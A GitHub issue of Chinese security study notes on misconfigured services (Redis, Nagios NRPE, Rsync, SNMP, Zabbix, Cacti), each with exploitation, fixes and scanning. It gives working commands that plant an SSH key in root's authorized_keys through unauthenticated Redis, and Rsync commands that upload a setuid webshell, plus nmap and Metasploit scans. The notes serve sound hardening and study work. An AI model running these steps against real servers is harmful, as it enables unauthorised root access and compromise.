Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Drops Wiki -- 服务配置 #80

Open
PyxYuYu opened this issue Feb 1, 2017 · 0 comments
Open

Drops Wiki -- 服务配置 #80

PyxYuYu opened this issue Feb 1, 2017 · 0 comments
Labels

Comments

@PyxYuYu
Copy link
Owner

PyxYuYu commented Feb 1, 2017

Wasting time is robbing oneself.

0x01 Drops Wiki

  • 服务配置
    • 敏感系统或服务数据可被访问
    • Redis 安全配置
      • 错误配置及利用
        • 未授权访问
        • 通过 Redis 获取 webshell
          • 假设 Redis 用户运行在 wooyun 用户上,同时该服务器开放 web 服务,如果已知该 web 目录的绝对路径(通过 phpinfo、报错等获得),wooyun 用户对 web目录可写的话,则可以通过 Redis 备份数据的过程写入 webshell
        • 通过 Redis 获取服务器用户
          • 假设 Redis 用户运行在 root 用户上, root 用户对自己的 authorized_keys 可以控制,可直接通过备份写入 ssh key
          • 先在 attack server 生成一个公钥
             ssh-keygen -t rsa -C "redis" (echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt
          • 然后执行
             redis-cli -h 192.168.192.133 flushall
             cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn
          • 登录 redis
          redis-cli -h 192.168.192.133
          
          config set dir /root/.ssh/ 
          config set dbfilename "authorized_keys" 
          save 
          exit
          
          • 然后就可以使用 ssh 的私钥登录了
             ssh -i redis root@192.168.192.133
          
      • 漏洞扫描与发现
        • 使用 nmap 扫描 Redis 的默认端口(6379
           nmap -Pn -p6379 -sV x.x.x.x/24
        • 手工验证
           nc ip 6379
        • 后输入
           info
        • 观察回显
        • 批量验证未授权访问
          • 首先获得开放 Redisippython 中存在 Redis 模块,可以调用快速验证
    • Nagios 安全配置
      • 错误配置及利用
        • 弱口令
        • 插件漏洞
          • NRPE 远程命令执行
            • NRPENagios 用来检查其他节点的主机健康状态的插件,基本每个机器都会安装,它运行在 TCP5666 端口,如果 NRPE 插件允许任何主机都来连接,在配置时允许自定义命令,同时版本小于等于 2.15,则存在远程命令执行漏洞
          • 其他插件漏洞,参考 exploit-db
      • 修复方案
        • 修改弱口令
        • 对于低版本的插件,进行升级或设置 ACLAccess Control List 访问控制列表)
      • 漏洞扫描与发现
        • NPRE 插件
          • 扫描端口 5666
             nmap -Pn -p5666 --open x.x.x.x/24
          • 然后使用 exp 去检测
    • Rsync 安全配置
      • 错误配置及利用
        • Rsync 默认允许匿名访问,若未添加用户口令则可以进行匿名登录,建议对 RsyncIP 访问进行限制以防止用户口令被猜解或泄露时造成损失
        • 常用的 Rsync 操作
           rsync X.X.X.X::  #列出同步目录
           rsync X.X.X.X::www  #列出同步目录中的www目录
           rsync -avz X.X.X.X::www/test.php /root  #下载文件到本地
           rsync -avz X.X.X.X::www/ /var/tmp  #下载目录到本地
           rsync -avz webshell.php X.X.X.X::www/  #上传本地文件到rsync服务器
        • 利用 Rsync 提权
          • Rsync 进程默认以 root 权限启动,利用 Rsync 同步文件的同时,可以保持原来文件的权限的特性,可以使用 Rsync 进行提权
             chmod a+s webshell.php
             rsync -avz webshell.php X.X.X.X::www/
      • 修复方案
        • 限定访问的 IP
          • IPTables 防火墙给 Rsync 的端口添加一个 iptables
            • 只希望能够从内部网络(192.168.101.0/24)访问:
               iptables -A INPUT -i eth0 -p tcp -s 192.168.101.0/24 --dport 873 -m state --state NEW,ESTABLISHED -j ACCEPT
               iptables -A OUTPUT -o eht0 -p tcp --sport 873 -m state ESTABLISHED -j ACCEPT
          • rsyncd.conf 使用 hosts allow 设置只允许来源 ip
             hosts allow = X.X.X.X #允许访问的IP
        • 添加用户口令
          • rsyncd.conf 中添加 rsync 用户权限访问
             secrets file = /etc/rsyncd.secrets  #密码文件位置,认证文件设置,设置用户名和密码
             auth users = rsync  #授权帐号,认证的用户名,如果没有这行表明是匿名,多个用户用,分割
      • 漏洞扫描与发现
        • 半手动扫描
          • 使用 nmap 扫描 Rsync 默认的端口(873
             nmap -n --open -p 873 X.X.X.X/24
          • 找到开放 873 端口的主机后尝试连接
             rsync X.X.X.X::
        • 自动化扫描
          • 使用 Metasploit 中的
             auxiliary/scanner/rsync/modules_list
          • 模块对允许匿名访问的 rsync 进行扫描
             use auxiliary/scanner/rsync/modules_list
             set rhosts X.X.X.X/24
             run
    • SNMP 安全配置
      • 错误配置及利用
        • 默认团体字符串(community string 团体名,一个团体名下的信息,才有的交流,默认 public
          • 通过默认的团体字符串,可以获得主机的信息
        • 基于团体字符串的 SNMPDDOS 攻击
          • 因为查询和返回的数据不对等,所以可以在知道团体字符串的情况下,使用的 UDP 协议,通过伪造来源 IP,达到获取大流量,进行 DDOS 攻击
        • CVE-2012-3268 获取设备的密码
          • 知道团体字符串后,通过指定特定的 oid,来获取设备的密码,从而达到控制设备的目的
      • 修复方案
        • 修改默认的团体字符串名
           vim /etc/snmp/snmpd.conf
           =允许任何IP通过public来连接=
           com2sec notConfigUser default public
           =只允许1.1.1.1来使用public连接=
           com2sec notConfigUser 1.1.1.1 public
        • CVE-2012-3268
          • 如果条件允许在厂商的协助下进行升级,否则设置复杂的团体字符串
      • 漏洞扫描与发现
        • 手工发现
          • -p 为团体字符串
             snmpwalk -v 2c -p public ip
        • 自动发现
          • 通过 nmap 扫描
             nmap -Pn -sU -p161 --script=brute 1.1.1.0/24
    • Zabbix 安全配置
      • 错误配置及利用
        • 默认密码或弱口令
          • Zabbix 默认的口令为 Admin/zabbix , 或者存在弱口令,可以登录,登录后可以在后台自定义脚本,执行命令
        • 开启 guest 账户
          • 默认安装后是开启了 guest 账户的,如果没有禁止,可以通过 guest 账户登录,查看信息
        • 开启 guest 账户同时 版本号 <= 2.0.8
          • Zabbix 版本 <= 2.0.8 的时候, httpmon.php 页面存在注入,开启了 guest 账户后可以直接访问,进行 sql 注入攻击
        • Zabbix 前台注入漏洞
      • 修复方案
        • Zabbix 不要放在外网
        • 修改默认账户密码,同时禁用 guest 用户
        • 对于重点的 Zabbix-server,最好能够做 ACL 访问限制
      • 漏洞扫描与发现
        • 收集企业 WEB 应用,是否包含 Zabbix
    • Cacti 安全配置
      • 错误配置及利用
        • 弱口令
          • 存在弱口令, Cacti 的登录界面没有验证码的限制,很容易被爆破,登录后,可以执行命令,获取服务器权限,同时泄漏监控主机的相关信息
        • 使用低版本的插件
          • 例如 Superlinks 插件,具体查看 exploit-db
      • 修复方案
        • 修复 Cacti 弱口令,尽量不放置在外网
        • 对低版本的 Cacti 进行升级
      • 漏洞扫描与发现
        • 收集企业 WEB 应用,是否包含 Cacti
@PyxYuYu PyxYuYu added the Wiki label Feb 1, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant